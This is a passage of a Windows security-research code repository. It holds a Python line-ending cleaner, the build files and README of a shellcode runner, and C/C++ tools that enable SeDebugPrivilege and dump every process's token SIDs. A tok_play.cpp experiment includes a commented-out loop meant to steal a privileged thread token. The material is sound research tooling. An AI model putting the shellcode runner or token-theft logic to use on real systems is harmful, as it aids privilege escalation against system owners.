cleansed.") % (fname, count) 72 | except IOError, msg: 73 | print "\nAn error occurred while trying to write %s" % (fname) 74 | else: 75 | print ("%s contained no ^Ms...skipping.") % (fname) 76 | 77 | def start_cleaning(fname): 78 | """ 79 | 1. get filename 80 | 2. check if file or dir. 81 | 3. if file, check if binary or ascii 82 | 4. if ascii, clean 83 | """ 84 | def _cleaner(fname): 85 | if isAscii(fname): 86 | clean_file(fname) 87 | else: 88 | print "%s is probably binary, skipping..." % (fname) 89 | 90 | if os.path.isdir(fname): 91 | print "%s is a directory. Recursing into it." % (fname) 92 | for root, dirs, files in os.walk(fname, topdown=False): 93 | for name in files: 94 | _cleaner(os.path.join(root, name)) 95 | elif os.path.isfile(fname): 96 | _cleaner(fname) 97 | 98 | elif os.path.islink(fname): 99 | print "Skipping symlink: %s" % (fname) 100 | 101 | def main(): 102 | try: 103 | opts, args = getopt.getopt(sys.argv[1:],\ 104 | "h", ["help"]) 105 | except getopt.error, msg: 106 | print msg 107 | print __doc__ 108 | sys.exit(2) 109 | if len(sys.argv) <= 1: 110 | print __doc__ 111 | sys.exit(1) 112 | for o, a in opts: 113 | if o in ("-h", "--help"): 114 | print __doc__ 115 | sys.exit(0) 116 | start_cleaning(sys.argv[1]) 117 | 118 | if __name__ == "__main__": 119 | main() 120 | 121 | -------------------------------------------------------------------------------- /humptyDumpy_shellcode_labratory/Make.bat: -------------------------------------------------------------------------------- 1 | rem @echo "Making the childrunner" 2 | rem cl child_runner.c /IC:\WINDDK\2600.1106\inc\w2k /c 3 | rem link /out:cr.exe child_runner.obj 4 | cls 5 | @echo "Making humpty-dumpty" 6 | @echo "***I hope you have all the devshit in your ENV***" 7 | cl /nologo /w humpty_dumpty.c /IC:\WINDDK\2600.1106\inc\w2k /c 8 | link /nologo /libpath:C:\WINDDK\2600.1106\lib\w2k\i386\ psapi.lib /out:hd.exe humpty_dumpty.obj 9 | -------------------------------------------------------------------------------- /humptyDumpy_shellcode_labratory/README.md: -------------------------------------------------------------------------------- 1 | Humpty Dumpty Shellcode Runner 2 | ===== 3 | 4 | A simple tool to help you execute your windows shellcode. 5 | Loads compiled shellcode (create with 'nasm -O' or whatever) from disk 6 | and then jumps into it. Comes with some notepad shellcode. 7 | -------------------------------------------------------------------------------- /humptyDumpy_shellcode_labratory/hd.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Xipiter/MiscTools/eca7cc86db9975b8ecc5211f2409b2ba9e12c2c5/humptyDumpy_shellcode_labratory/hd.exe -------------------------------------------------------------------------------- /humptyDumpy_shellcode_labratory/humpty_dumpty.obj: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Xipiter/MiscTools/eca7cc86db9975b8ecc5211f2409b2ba9e12c2c5/humptyDumpy_shellcode_labratory/humpty_dumpty.obj -------------------------------------------------------------------------------- /humptyDumpy_shellcode_labratory/notepad.sc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Xipiter/MiscTools/eca7cc86db9975b8ecc5211f2409b2ba9e12c2c5/humptyDumpy_shellcode_labratory/notepad.sc -------------------------------------------------------------------------------- /humptyDumpy_shellcode_labratory/sa7_win.h: -------------------------------------------------------------------------------- 1 | #include 2 | //#include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | #include 11 | 12 | 13 | #define HUN 100 14 | #define SPACE " " 15 | 16 | //export prototypes 17 | void wtf_error(); 18 | char pr1nt(const int *indent); 19 | 20 | //------ 21 | 22 | 23 | void wtf_error() { 24 | //This function a failed attempt at an indentation wrapper for basic output. 25 | LPVOID lpMsgBuf; 26 | int err = GetLastError(); 27 | FormatMessage( 28 | FORMAT_MESSAGE_ALLOCATE_BUFFER | 29 | FORMAT_MESSAGE_FROM_SYSTEM | 30 | FORMAT_MESSAGE_IGNORE_INSERTS, 31 | NULL, 32 | err, 33 | MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT), // Default language 34 | (LPTSTR) &lpMsgBuf, 35 | 0, 36 | NULL 37 | ); 38 | printf("\t[!] Error (%d): %s\n", err, (LPCTSTR)lpMsgBuf); 39 | LocalFree( lpMsgBuf ); 40 | }; 41 | 42 | /* 43 | INCOMPLETE 44 | //input: number of indentations 45 | //output: indentations and line header for easy readable output. 46 | char pr1nt(const int *indent) { 47 | int *n; char *output[HUN]; 48 | if (indent >= 10) {indent = 10;}; //knock it down some. 49 | 50 | for (n=0;n<=indent;n++) { 51 | sprintf(output, "\t"); //indent one 52 | }; 53 | if ((*indent % 2) == 0) { //then it is even and we print [+] 54 | sprintf(output, "[+] "); 55 | } else { //then it is odd and we print [-] 56 | sprintf(output, "[-] "); 57 | }; 58 | return (output); 59 | }; 60 | */ 61 | -------------------------------------------------------------------------------- /investigate_windows_tokens/README.md: -------------------------------------------------------------------------------- 1 | Windows Token Library 2 | ====== 3 | 4 | Some code to view and investigate Windows Tokens. Written as .h so that 5 | it can be quickly included in your own tools. This code was rewritten 6 | and refactored to be included in [Sandkit](http://s7ephen.github.io/SandKit/) 7 | 8 | -------------------------------------------------------------------------------- /investigate_windows_tokens/identify_all/identify_all.cpp: -------------------------------------------------------------------------------- 1 | //See what is going on with token shit. 2 | //#include "stdafx.h" 3 | //#include 4 | //#include 5 | //#include 6 | //#include //iostream sux 7 | //#include 8 | //#include 9 | #include "sa7_win.h" 10 | 11 | // PSAPI declarations 12 | typedef BOOL (WINAPI *pfEnumProcesses)( DWORD *pidlist, DWORD bufSize, DWORD *bufNeeded ); 13 | typedef BOOL (WINAPI *pfEnumProcessModules)( HANDLE hp, HMODULE *phm, DWORD cb, LPDWORD lpcbNeeded ); 14 | typedef DWORD (WINAPI *pfGetModuleBaseName)( HANDLE hp, HMODULE hm, LPTSTR pName, DWORD bufSize ); 15 | 16 | 17 | 18 | int main( int argc, char *argv[] ); 19 | bool getPriv( const char *privName ); 20 | bool dumpToken( HANDLE hp, bool doDisplay = true ); 21 | void showSid( PSID ps ); 22 | BOOL Sid2Text( PSID ps, char *buf, int bufSize ); 23 | BOOL IsLogonSid( PSID ps ); 24 | BOOL IsLocalSid( PSID ps ); 25 | BOOL IsInteractiveSid( PSID ps ); 26 | 27 | 28 | 29 | #define gle (GetLastError()) 30 | #define isBadHandle(h) ((h) == NULL || (h) == INVALID_HANDLE_VALUE) 31 | #define lenof(x) (sizeof (x) / sizeof ((x)[0])) 32 | 33 | 34 | 35 | const int MAXPID = 1024; 36 | const int MAXSIZE = 16384; // size _does_ matter 37 | 38 | 39 | 40 | // global display on/off flag -- set to false if you want to know how long all this takes 41 | const bool showInfo = true; 42 | 43 | 44 | 45 | int main( int argc, char *argv[] ) 46 | { 47 | int i, nPIDs, interactiveProcesses; 48 | DWORD bufNeeded; 49 | HANDLE hp; 50 | DWORD *pid = NULL; 51 | HINSTANCE hPsapi; 52 | HMODULE hm; 53 | char moduleName[MAX_PATH]; 54 | LARGE_INTEGER t0, t1, fr; 55 | 56 | pfEnumProcesses pfEP; 57 | pfEnumProcessModules pfEPM; 58 | pfGetModuleBaseName pfGMBN; 59 | 60 | if ( argc != 1 ) 61 | { 62 | printf( "\nUsage: %s\n", argv[0] ); 63 | puts( "\nThis program iterates over all processes in the system" ); 64 | puts( "(using EnumProcesses(), tries to open their process tokens," ); 65 | puts( "and dumps the SIDs in those tokens." ); 66 | return 1; 67 | } 68 | 69 | // try to acquire SeDebugPrivilege, if fail, then do without 70 | getPriv( SE_DEBUG_NAME ); 71 | 72 | hPsapi = LoadLibrary( "psapi.dll" ); 73 | if ( hPsapi == NULL ) 74 | { 75 | printf( "LoadLibrary( \"psapi.dll\" ): gle = %lu\n", gle ); 76 | return 1; 77 | } 78 | 79 | pfEP = (pfEnumProcesses) GetProcAddress( hPsapi, "EnumProcesses" ); 80 | pfEPM = (pfEnumProcessModules) GetProcAddress( hPsapi, "EnumProcessModules" ); 81 | pfGMBN = (pfGetModuleBaseName) GetProcAddress( hPsapi, "GetModuleBaseNameA" ); 82 | if ( pfEP == NULL || pfEPM == NULL || pfGMBN == NULL ) 83 | { 84 | printf( "GetProcAddress(): one or more PSAPI functions not found\n" ); 85 | return 1; 86 | } 87 | 88 | // here, we start with room for 16 DWORDS. If EnumProcesses() comes back 89 | // and tells us that the space was _all_ used, we try again with more, 90 | // until EP() doesn't fill all of it. That's when we know that we supplied 91 | // enough. 92 | 93 | QueryPerformanceCounter( &t0 ); 94 | 95 | interactiveProcesses = 0; 96 | nPIDs = 0; // starts with one increment more, actually 97 | pid = NULL; 98 | do 99 | { 100 | nPIDs += 16; 101 | free( pid ); 102 | pid = (DWORD *) malloc( nPIDs * sizeof DWORD ); 103 | if ( ! pfEP( pid, (DWORD) nPIDs * 4U, &bufNeeded ) ) 104 | { 105 | printf( "EnumProcesses(): gle = %lu\n", gle ); 106 | return 1; 107 | } 108 | } while ( (int) ( (DWORD) nPIDs * 4U - bufNeeded ) <= 0 ); 109 | 110 | // The next line computes the _actual_ number of PIDs retrieved (doh!). 111 | // Kudos to Chris Scheers for the bug report and this fix! 112 | nPIDs = bufNeeded / sizeof DWORD; 113 | 114 | if ( showInfo ) 115 | printf( "\n%d PIDs found.\n", nPIDs ); 116 | 117 | // for each PID: 118 | for ( i = 0; i < nPIDs; i ++ ) 119 | { 120 | // possibly attempt to add ourselves to the target's ACL? 121 | // SeDebugPrivilege makes this wholly unnecessary for this sample 122 | 123 | // open process 124 | hp = OpenProcess( PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pid[i] ); 125 | if ( isBadHandle( hp ) ) 126 | { 127 | if ( showInfo ) 128 | printf( "\nOpenProcess( pid = %lu ): gle = %lu\n", pid[i], gle ); 129 | continue; 130 | } 131 | 132 | // we only want the first HMODULE 133 | if ( showInfo && pfEPM( hp, &hm, sizeof hm, &bufNeeded ) ) 134 | { 135 | if ( ! pfGMBN( hp, hm, moduleName, sizeof moduleName ) ) 136 | strcpy( moduleName, "--unknown--" ); // this means, module list OK but no name 137 | } 138 | else 139 | strcpy( moduleName, "==unknown==" ); // this means, no module list 140 | 141 | if ( showInfo ) 142 | printf( "\npid %lu [%s]:\n", pid[i], moduleName ); 143 | 144 | // now, to the meat of the matter 145 | if ( dumpToken( hp, showInfo ) ) 146 | ++ interactiveProcesses; 147 | 148 | // close handle 149 | CloseHandle( hp ); 150 | } 151 | 152 | QueryPerformanceCounter( &t1 ); 153 | QueryPerformanceFrequency( &fr ); 154 | 155 | printf( "%d PIDs (of which %d are interactive) took %.3lf usec.\n", 156 | nPIDs, interactiveProcesses, 157 | 1000.0 * (double) ( t1.QuadPart - t0.QuadPart ) / (double) fr.QuadPart ); 158 | 159 | delete [] pid; 160 | FreeLibrary( hPsapi ); 161 | 162 | return 0; 163 | } 164 | 165 | 166 | 167 | bool dumpToken( HANDLE hp, bool doDisplay /* = true */ ) 168 | { 169 | bool querySource = true; 170 | DWORD needed; 171 | HANDLE ht; 172 | DWORD i; 173 | 174 | TOKEN_OWNER *pto; 175 | TOKEN_USER *ptu; 176 | TOKEN_PRIMARY_GROUP *ptpg; 177 | TOKEN_GROUPS *ptg; 178 | 179 | // these three keep track of what we found in the token 180 | bool haveLocalSid = false, haveLogonSid = false, haveInteractiveSid = false; 181 | 182 | //* possibly attempt to add ourselves to the target's ACL? 183 | 184 | // open process token 185 | 186 | if ( ! OpenProcessToken( hp, TOKEN_QUERY | TOKEN_QUERY_SOURCE, &ht ) ) 187 | { 188 | if ( doDisplay ) 189 | printf( " OpenProcessToken( T_Q_S ): gle = %lu, " 190 | "trying without TOKEN_QUERY_SOURCE\n", gle ); 191 | querySource = false; 192 | 193 | if ( ! OpenProcessToken( hp, TOKEN_QUERY, &ht ) ) 194 | { 195 | if ( doDisplay ) 196 | printf( " OpenProcessToken(): gle = %lu\n", gle ); 197 | return false; 198 | } 199 | } 200 | 201 | // dump token information 202 | 203 | if ( querySource && doDisplay ) 204 | { 205 | TOKEN_SOURCE ts; 206 | if ( ! GetTokenInformation( ht, TokenSource, &ts, sizeof ts, &needed ) ) 207 | printf( " GetTokenInformation( TokenSource ): gle = %lu\n", gle ); 208 | else 209 | printf( " Token source: \"%-8.8s\" (luid = %I64d)\n", 210 | ts.SourceName, ts.SourceIdentifier ); 211 | } 212 | 213 | // token owner 214 | pto = (TOKEN_OWNER *) malloc( MAXSIZE ); 215 | if ( ! GetTokenInformation( ht, TokenOwner, pto, MAXSIZE, &needed ) ) 216 | printf( " GetTokenInformation( TokenOwner ): gle = %lu\n", gle ); 217 | else 218 | { 219 | if ( doDisplay ) 220 | { 221 | printf( " Token owner:\n " ); 222 | showSid( pto->Owner ); 223 | putchar( '\n' ); 224 | } 225 | } 226 | 227 | // token user 228 | ptu = (TOKEN_USER *) malloc( MAXSIZE ); 229 | if ( ! GetTokenInformation( ht, TokenUser, ptu, MAXSIZE, &needed ) ) 230 | printf( " GetTokenInformation( TokenUser ): gle = %lu\n", gle ); 231 | else 232 | { 233 | if ( doDisplay ) 234 | { 235 | printf( " Token user:\n " ); 236 | showSid( ptu->User.Sid ); 237 | putchar( '\n' ); 238 | } 239 | } 240 | 241 | // token primary group 242 | ptpg = (TOKEN_PRIMARY_GROUP *) malloc( MAXSIZE ); 243 | if ( ! GetTokenInformation( ht, TokenPrimaryGroup, ptpg, MAXSIZE, &needed ) ) 244 | printf( " GetTokenInformation( TokenPrimaryGroup ): gle = %lu\n", gle ); 245 | else 246 | { 247 | if ( doDisplay ) 248 | { 249 | printf( " Token primary group:\n " ); 250 | showSid( ptpg->PrimaryGroup ); 251 | putchar( '\n' ); 252 | } 253 | } 254 | 255 | // token groups 256 | ptg = (TOKEN_GROUPS *) malloc( MAXSIZE ); 257 | if ( ! GetTokenInformation( ht, TokenGroups, ptg, MAXSIZE, &needed ) ) 258 | printf( " GetTokenInformation( TokenGroups ): gle = %lu\n", gle ); 259 | else 260 | { 261 | if ( ptg->GroupCount == 0 ) 262 | printf( " Token groups: (none)\n" ); 263 | else 264 | { 265 | if ( doDisplay ) 266 | printf( " Token groups:\n" ); 267 | for ( i = 0; i < ptg->GroupCount; ++ i ) 268 | { 269 | if ( doDisplay ) 270 | { 271 | printf( " " ); 272 | showSid( ptg->Groups[i].Sid ); 273 | putchar( '\n' ); 274 | } 275 | if ( IsLocalSid( ptg->Groups[i].Sid ) ) 276 | haveLocalSid = true; 277 | if ( IsLogonSid( ptg->Groups[i].Sid ) ) 278 | haveLogonSid = true; 279 | if ( IsInteractiveSid( ptg->Groups[i].Sid ) ) 280 | haveInteractiveSid = true; 281 | } 282 | } 283 | } 284 | 285 | if ( doDisplay && haveLocalSid && haveInteractiveSid && haveLogonSid ) 286 | { 287 | printf( " YES! This process runs under an interactive user:\n " ); 288 | showSid( ptu->User.Sid ); 289 | putchar( '\n' ); 290 | } 291 | else if ( doDisplay && ( haveLocalSid || haveInteractiveSid || haveLogonSid ) ) 292 | { 293 | printf( " YES! This process *probably* runs under an interactive user:\n " ); 294 | showSid( ptu->User.Sid ); 295 | putchar( '\n' ); 296 | } 297 | else if ( doDisplay ) 298 | printf( " Nope. Looks as if this process had not been run by an interactive user.\n" ); 299 | 300 | CloseHandle( ht ); 301 | free( pto ); 302 | free( ptu ); 303 | free( ptpg ); 304 | free( ptg ); 305 | 306 | return haveLocalSid || haveInteractiveSid || haveLogonSid; 307 | } 308 | 309 | 310 | 311 | void showSid( PSID ps ) 312 | { 313 | char textSid[MAX_PATH], user[MAX_PATH], domain[MAX_PATH]; 314 | DWORD sizeUser, sizeDomain; 315 | SID_NAME_USE snu; 316 | const char *t; 317 | const char *sep = "\\"; // separator for domain\user display 318 | 319 | Sid2Text( ps, textSid, sizeof textSid ); 320 | printf( "%s ", textSid ); 321 | 322 | sizeUser = sizeof user; 323 | sizeDomain = sizeof domain; 324 | if ( ! LookupAccountSid( NULL, ps, user, &sizeUser, domain, &sizeDomain, &snu ) ) 325 | { 326 | DWORD rc = gle; 327 | 328 | if ( IsLogonSid( ps ) ) 329 | printf( "(interactive logon session SID)" ); 330 | else 331 | printf( "[LAS(): gle = %lu]", rc ); 332 | return; 333 | } 334 | 335 | switch ( snu ) 336 | { 337 | case SidTypeUser: 338 | t = "user"; 339 | break; 340 | case SidTypeGroup: 341 | t = "group"; 342 | break; 343 | case SidTypeDomain: 344 | t = "domain"; 345 | break; 346 | case SidTypeAlias: 347 | t = "alias"; 348 | break; 349 | case SidTypeWellKnownGroup: 350 | t = "well-known group"; 351 | break; 352 | case SidTypeDeletedAccount: 353 | t = "deleted"; 354 | break; 355 | case SidTypeInvalid: 356 | t = "invalid"; 357 | break; 358 | case SidTypeUnknown: 359 | t = "unknown"; 360 | break; 361 | case SidTypeComputer: 362 | t = "computer"; 363 | break; 364 | default: 365 | t = "*?unknown?*"; 366 | break; 367 | } 368 | 369 | if ( domain[0] == '\0' || user[0] == '\0' ) 370 | sep = ""; 371 | 372 | printf( "\"%s%s%s\" (%s)", domain, sep, user, t ); 373 | } 374 | 375 | 376 | 377 | BOOL IsLocalSid( PSID ps ) 378 | { 379 | static PSID pComparisonSid = NULL; 380 | 381 | if ( pComparisonSid == NULL ) 382 | { 383 | // build "BUILTIN\LOCAL" SID for comparison: S-1-2-0 384 | SID_IDENTIFIER_AUTHORITY sia = SECURITY_LOCAL_SID_AUTHORITY; 385 | AllocateAndInitializeSid( &sia, 1, 0, 0, 0, 0, 0, 0, 0, 0, &pComparisonSid ); 386 | } 387 | 388 | return EqualSid( ps, pComparisonSid ); 389 | } 390 | 391 | 392 | 393 | BOOL IsInteractiveSid( PSID ps ) 394 | { 395 | static PSID pComparisonSid = NULL; 396 | 397 | if ( pComparisonSid == NULL ) 398 | { 399 | // build "BUILTIN\LOCAL" SID for comparison: S-1-5-4 400 | SID_IDENTIFIER_AUTHORITY sia = SECURITY_NT_AUTHORITY; // "-5-" 401 | AllocateAndInitializeSid( &sia, 1, 4, 0, 0, 0, 0, 0, 0, 0, &pComparisonSid ); 402 | } 403 | 404 | return EqualSid( ps, pComparisonSid ); 405 | } 406 | 407 | 408 | 409 | BOOL IsLogonSid( PSID ps ) 410 | { 411 | static SID_IDENTIFIER_AUTHORITY sia = SECURITY_NT_AUTHORITY; 412 | 413 | // a logon SID has: sia = 5, subauth count = 3, first subauth = 5 414 | // the following three lines test these three conditions 415 | if ( ! memcmp( GetSidIdentifierAuthority( ps ), &sia, sizeof sia ) && // is sia == 5? 416 | *GetSidSubAuthorityCount( ps ) == 3 && // is subauth count == 3? 417 | *GetSidSubAuthority( ps, 0 ) == 5 ) // first subauth == 5? 418 | return TRUE; 419 | else 420 | return FALSE; 421 | } 422 | 423 | 424 | 425 | // nearly straight from the SDK 426 | BOOL Sid2Text( PSID ps, char *buf, int bufSize ) 427 | { 428 | PSID_IDENTIFIER_AUTHORITY psia; 429 | DWORD dwSubAuthorities; 430 | DWORD dwSidRev = SID_REVISION; 431 | DWORD i; 432 | int n, size; 433 | char *p; 434 | 435 | // Validate the binary SID. 436 | 437 | if ( ! IsValidSid( ps ) ) 438 | return FALSE; 439 | 440 | // Get the identifier authority value from the SID. 441 | 442 | psia = GetSidIdentifierAuthority( ps ); 443 | 444 | // Get the number of subauthorities in the SID. 445 | 446 | dwSubAuthorities = *GetSidSubAuthorityCount( ps ); 447 | 448 | // Compute the buffer length. 449 | // S-SID_REVISION- + IdentifierAuthority- + subauthorities- + NULL 450 | 451 | size = 15 + 12 + ( 12 * dwSubAuthorities ) + 1; 452 | 453 | // Check input buffer length. 454 | // If too small, indicate the proper size and set last error. 455 | 456 | if ( bufSize < size ) 457 | { 458 | SetLastError( ERROR_INSUFFICIENT_BUFFER ); 459 | return FALSE; 460 | } 461 | 462 | // Add 'S' prefix and revision number to the string. 463 | 464 | size = wsprintf( buf, "S-%lu-", dwSidRev ); 465 | p = buf + size; 466 | 467 | // Add SID identifier authority to the string. 468 | 469 | if ( psia->Value[0] != 0 || psia->Value[1] != 0 ) 470 | { 471 | n = wsprintf( p, "0x%02hx%02hx%02hx%02hx%02hx%02hx", 472 | (USHORT) psia->Value[0], (USHORT) psia->Value[1], 473 | (USHORT) psia->Value[2], (USHORT) psia->Value[3], 474 | (USHORT) psia->Value[4], (USHORT) psia->Value[5] ); 475 | size += n; 476 | p += n; 477 | } 478 | else 479 | { 480 | n = wsprintf( p, "%lu", ( (ULONG) psia->Value[5] ) + 481 | ( (ULONG) psia->Value[4] << 8 ) + ( (ULONG) psia->Value[3] << 16 ) + 482 | ( (ULONG) psia->Value[2] << 24 ) ); 483 | size += n; 484 | p += n; 485 | } 486 | 487 | // Add SID subauthorities to the string. 488 | 489 | for ( i = 0; i < dwSubAuthorities; ++ i ) 490 | { 491 | n = wsprintf( p, "-%lu", *GetSidSubAuthority( ps, i ) ); 492 | size += n; 493 | p += n; 494 | } 495 | 496 | return TRUE; 497 | } 498 | 499 | 500 | 501 | bool getPriv( const char *privName ) 502 | { 503 | bool rc; 504 | HANDLE hToken; 505 | LUID privValue; 506 | TOKEN_PRIVILEGES tkp; 507 | 508 | if ( ! OpenProcessToken( GetCurrentProcess(), 509 | TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken ) ) 510 | return false; 511 | 512 | if ( !LookupPrivilegeValue( NULL, privName, &privValue ) ) 513 | { 514 | CloseHandle( hToken ); 515 | return false; 516 | } 517 | 518 | tkp.PrivilegeCount = 1; 519 | tkp.Privileges[0].Luid = privValue; 520 | tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 521 | 522 | rc = !! AdjustTokenPrivileges( hToken, FALSE, &tkp, sizeof tkp, NULL, NULL ); 523 | 524 | CloseHandle( hToken ); 525 | 526 | return rc; 527 | } 528 | 529 | -------------------------------------------------------------------------------- /investigate_windows_tokens/identify_all/make.bat: -------------------------------------------------------------------------------- 1 | rem HOLY SHIT when using cpp libs and headers (such as msi.h in this case 2 | rem our actual file name (ident_self) has to have the .cpp extension 3 | rem or cl.exe parses it differently or something... if named .c it doesnt compile 4 | rem when named .cpp it does. 5 | 6 | cl /nologo /Yd /Z7 /IC:\WINDDK\2600.1106\inc\w2k ident_all.cpp /c 7 | link /nologo advapi32.lib msi.lib user32.lib /out:ident_all.exe ident_all.obj 8 | -------------------------------------------------------------------------------- /investigate_windows_tokens/identify_all/sa7_win.h: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | #include 11 | #include 12 | 13 | #define HUN 100 14 | #define SPACE " " 15 | 16 | //export prototypes 17 | void wtf_error(); 18 | char pr1nt(const int *indent); 19 | 20 | //------ 21 | 22 | 23 | void wtf_error() { 24 | //This function a failed attempt at an indentation wrapper for basic output. 25 | LPVOID lpMsgBuf; 26 | int err = GetLastError(); 27 | FormatMessage( 28 | FORMAT_MESSAGE_ALLOCATE_BUFFER | 29 | FORMAT_MESSAGE_FROM_SYSTEM | 30 | FORMAT_MESSAGE_IGNORE_INSERTS, 31 | NULL, 32 | err, 33 | MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT), // Default language 34 | (LPTSTR) &lpMsgBuf, 35 | 0, 36 | NULL 37 | ); 38 | printf("\t[!] Error (%d): %s\n", err, (LPCTSTR)lpMsgBuf); 39 | LocalFree( lpMsgBuf ); 40 | }; 41 | 42 | /* 43 | INCOMPLETE 44 | //input: number of indentations 45 | //output: indentations and line header for easy readable output. 46 | char pr1nt(const int *indent) { 47 | int *n; char *output[HUN]; 48 | if (indent >= 10) {indent = 10;}; //knock it down some. 49 | 50 | for (n=0;n<=indent;n++) { 51 | sprintf(output, "\t"); //indent one 52 | }; 53 | if ((*indent % 2) == 0) { //then it is even and we print [+] 54 | sprintf(output, "[+] "); 55 | } else { //then it is odd and we print [-] 56 | sprintf(output, "[-] "); 57 | }; 58 | return (output); 59 | }; 60 | */ 61 | -------------------------------------------------------------------------------- /investigate_windows_tokens/identify_self/ident_self.cpp: -------------------------------------------------------------------------------- 1 | //tok_play.cpp 2 | //#include "stdafx.h" 3 | //#include 4 | //#include 5 | //#include 6 | //#include //iostream sux 7 | //#include 8 | //#include 9 | #include "sa7_win.h" 10 | 11 | 12 | int main(int argc, char* argv[]) { 13 | DWORD pid; 14 | pid = GetCurrentProcessId(); 15 | printf ("My process ID: 0x%.8x", pid); 16 | }; 17 | -------------------------------------------------------------------------------- /investigate_windows_tokens/identify_self/ident_self.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Xipiter/MiscTools/eca7cc86db9975b8ecc5211f2409b2ba9e12c2c5/investigate_windows_tokens/identify_self/ident_self.exe -------------------------------------------------------------------------------- /investigate_windows_tokens/identify_self/ident_self.obj: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Xipiter/MiscTools/eca7cc86db9975b8ecc5211f2409b2ba9e12c2c5/investigate_windows_tokens/identify_self/ident_self.obj -------------------------------------------------------------------------------- /investigate_windows_tokens/identify_self/make.bat: -------------------------------------------------------------------------------- 1 | rem HOLY SHIT when using cpp libs and headers (such as msi.h in this case 2 | rem our actual file name (ident_self) has to have the .cpp extension 3 | rem or cl.exe parses it differently or something... if named .c it doesnt compile 4 | rem when named .cpp it does. 5 | 6 | cl /nologo /Yd /Z7 /IC:\WINDDK\2600.1106\inc\w2k ident_self.cpp /c 7 | link /nologo advapi32.lib msi.lib user32.lib /out:ident_self.exe ident_self.obj 8 | -------------------------------------------------------------------------------- /investigate_windows_tokens/identify_self/sa7_win.h: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | #include 11 | #include 12 | 13 | #define HUN 100 14 | #define SPACE " " 15 | 16 | //export prototypes 17 | void wtf_error(); 18 | char pr1nt(const int *indent); 19 | 20 | //------ 21 | 22 | 23 | void wtf_error() { 24 | //This function a failed attempt at an indentation wrapper for basic output. 25 | LPVOID lpMsgBuf; 26 | int err = GetLastError(); 27 | FormatMessage( 28 | FORMAT_MESSAGE_ALLOCATE_BUFFER | 29 | FORMAT_MESSAGE_FROM_SYSTEM | 30 | FORMAT_MESSAGE_IGNORE_INSERTS, 31 | NULL, 32 | err, 33 | MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT), // Default language 34 | (LPTSTR) &lpMsgBuf, 35 | 0, 36 | NULL 37 | ); 38 | printf("\t[!] Error (%d): %s\n", err, (LPCTSTR)lpMsgBuf); 39 | LocalFree( lpMsgBuf ); 40 | }; 41 | 42 | /* 43 | INCOMPLETE 44 | //input: number of indentations 45 | //output: indentations and line header for easy readable output. 46 | char pr1nt(const int *indent) { 47 | int *n; char *output[HUN]; 48 | if (indent >= 10) {indent = 10;}; //knock it down some. 49 | 50 | for (n=0;n<=indent;n++) { 51 | sprintf(output, "\t"); //indent one 52 | }; 53 | if ((*indent % 2) == 0) { //then it is even and we print [+] 54 | sprintf(output, "[+] "); 55 | } else { //then it is odd and we print [-] 56 | sprintf(output, "[-] "); 57 | }; 58 | return (output); 59 | }; 60 | */ 61 | -------------------------------------------------------------------------------- /investigate_windows_tokens/identify_self/tok_play.cpp: -------------------------------------------------------------------------------- 1 | //tok_play.cpp 2 | //See what is going on with token shit. 3 | //sorry, but you gotta use the gui compiler cuz I cant figger out what objects need to be linked in 4 | // to resolv the token symbols for cl.exe 5 | //#include "stdafx.h" 6 | //#include 7 | //#include 8 | //#include 9 | //#include //iostream sux 10 | //#include 11 | //#include 12 | #include "sa7_win.h" 13 | #define INFO_BUFFER_SIZE MAX_COMPUTERNAME_LENGTH + 1 14 | #define PATH_SIZE INFO_BUFFER_SIZE + MAX_PATH + 4 15 | typedef UINT (WINAPI *PFnMsiInstallProduct) (LPCSTR szPackagePath, LPCSTR szCommandLine); 16 | 17 | 18 | int main(int argc, char* argv[]) { 19 | HANDLE hToken,hThread; 20 | HMODULE hMsi = 0; 21 | CHAR infoBuf[INFO_BUFFER_SIZE]; 22 | //DWORD tid; 23 | DWORD bufCharCount = INFO_BUFFER_SIZE; 24 | //Get name of the computer. 25 | GetComputerName(infoBuf, &bufCharCount); 26 | printf("\n...Pausing, hit enter to continue with MSI.dll load."); 27 | getchar(); 28 | //Why msi.dll? 29 | //We happened to know in this case (ahead of time) that msi.dll has functions inside it that 30 | //get a token by requesting one from a *special* process via a *special* rpc named port. 31 | //we just wanna see what happens when this subthread gets the token. 32 | hMsi = LoadLibrary("msi.dll"); 33 | PFnMsiInstallProduct MsiInstallProduct = 0; 34 | MsiInstallProduct = (PFnMsiInstallProduct)GetProcAddress(hMsi, "MsiInstallProductA"); 35 | MsiInstallProduct("",""); 36 | hThread=GetCurrentThread(); //tid = GetCurrentThreadId(); 37 | //Get Local System account identity token and set it to current thread 38 | hToken=(void *)0x1; 39 | printf("\nhToken Before: %x @ address 0x%x in thread: %x", hToken, hThread); 40 | /* a test to see if we can steal the token. 41 | while(SetThreadToken(&hThread,hToken)==NULL){ 42 | hToken=(void*)((int)hToken+1); 43 | } 44 | */ 45 | if(SetThreadToken(&hThread,hToken)!=NULL){ 46 | printf("\n\tERROR #31337: Nah son, you aint down wit Shaolin."); 47 | } 48 | printf("\nhToken After: %x @ address 0x%x", hToken, &hToken); 49 | printf("\n...Pausing, hit enter to quit."); 50 | getchar(); 51 | }; 52 | -------------------------------------------------------------------------------- /investigate_windows_tokens/tok_play/Debug/BuildLog.htm: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 |
 7 | 
8 | Build Log 9 |
  
10 | 

------- Build started: Project: tok_play, Configuration: Debug|Win32 ------- 11 |

12 |
13 | Command Lines 14 |
  
Creating temporary file "f:\projects\improper_token\tok_play\Debug\RSP00002D.rsp" with contents
15 | [
